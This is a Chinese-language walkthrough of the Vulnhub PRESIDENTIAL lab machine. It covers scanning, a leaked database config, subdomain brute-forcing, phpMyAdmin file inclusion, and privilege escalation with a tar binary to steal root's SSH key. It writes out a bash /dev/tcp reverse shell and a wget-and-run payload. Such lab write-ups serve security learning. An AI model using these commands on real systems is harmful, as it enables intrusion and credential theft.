Vulnhub靶机实战-PRESIDENTIAL

声明

好好学习，天天向上

搭建

vulnhub官网下载完镜像后，用vmware打开，遇到错误点击重试，即可，选择NAT后，直接就DHCP了

注意一点，vmware的兼容性，有问题，我用vmware，反弹shell和提权的时候，惨遭失败，一定要用oracle virtualbox，一定一定一定

vmware我用的桥接，virtualbox用的仅主机网卡#2，调了一下本机的网卡，调了半天，两边才能互相ping通

信我一句话，这非技术问题困了我好几天，弄不出来，vulnhub首页说建议用virtualbox，又说了vmware也行，我就一根筋用vmware，及结果近几天都无法攻陷，用virtualbox后，一晚上搞定，人家说啥就杀

最后面，附上我配置网络的各参数

渗透

美国国内的总统选举即将举行（2020年11月）。其中一个政党担心另一个政党将通过入侵登记系统和伪造选票来实施选举欺诈。

因此，安大略州要求您（一名独立的渗透测试人员）测试其服务器的安全性，以减轻任何选举舞弊问题。您的目标是查看您是否可以获得对服务器的root访问权限–该州仍在开发其注册网站，但已要求您在网站和注册系统启动之前测试其服务器安全性。

DHCP后是192.168.239.196

存活扫描，发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.239.196 -p 1-65535 -oN nmap.A

开启80和2082

ssh还不用默认端口，安全意识还可以

访问80

http://192.168.239.196

扫描目录

python3 dirsearch.py -u "http://192.168.239.196" -e *

没扫到几个

挨个看看，config应该最优先，但是都是空白，不过在bak源码中查到了数据库信息

view-source:http://192.168.239.196/config.php.bak

<?php
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";
?>

发现了数据库的账号和密码等信息，但是服务器没有开启数据库端口，扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名，或许可以通过查找其子域名来发现突破点。

在网站首页发现，邮箱地址contact@votenow.local，该网站域名为votenow.local

为什么改域名？

这一点，很多网站的访问，都会限制，只允许通过域名的方式访问，并且很多情况下证书绑定的都是域名

将其添加到/etc/hosts中

vim /etc/hosts
192.168.239.196 votenow.local

之后使用subrake或者wfuzz来进行子域名爆破，想用挖掘机的也可以试试

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

爆破出来了一个

192.168.239.196 datasafe.votenow.local

访问

datasafe.votenow.local

出现了phpmyadmin

用config.php.bak里的账号密码登入

拿到admin的用户名和密码

admin
$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

使用kali的john进行爆破，将密文保存到john.txt中执行

john john.txt

成功爆破出密码Stella

ssh不过去

不过phpmyadmin漏洞也不少，4.8.1就有，参考

https://blog.csdn.net/zy15667076526/article/details/111824748

SQL执行

select '<?php phpinfo();exit;?>'

首先按F12找到自己的session文件名

拿到session

251au5g360gngvrs1953jdq10h1rqjfd

然后在index.php页面中进行包含

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_g075j6sq81fudhokm81s27p9lc54t919

反弹shell

kali写入，并开启站点

bash -i >& /dev/tcp/192.168.239.5/6666 0>&1
python -m SimpleHTTPServer 80

phpmyadmin执行

select '<?php system("wget 192.168.239.5/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_g075j6sq81fudhokm81s27p9lc54t919

反弹shell，并提权

cd ~
cat notes.txt
whereis tarS
ls -al /usr/bin/tarS

tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082

网络搭建参数

记录一下，因为我也调了好久，害怕后面记不住，先记录一下

本机四块网卡

两块vmware的

两块virtualbox的

vmware的两块

virtualbox的两块

vmware管理配置

virtualbox管理配置

vmware虚机配置

virtualbox虚机配置

总结

端口扫描

发现80和2082

web权限

80发现敏感信息，邮箱域名，爆破这个域名的子域名，添加解析，发现子域名，再次添加解析，可以解析到phpmyadmin的后台，扫描80的目录，可以发现敏感的配置文件，phpmyadmin的用户名和密码
登录phpmyadmin后，发现user，admin和加密的密码，爆破出admin密码

后台权限

利用phpmyadmin的文件包含，getshell

权限维持

getshell后，反弹shell，查看桌面目录后，拿到flag，发现提醒，使用压缩命令

提权

利用压缩命令进行提权，拿到flag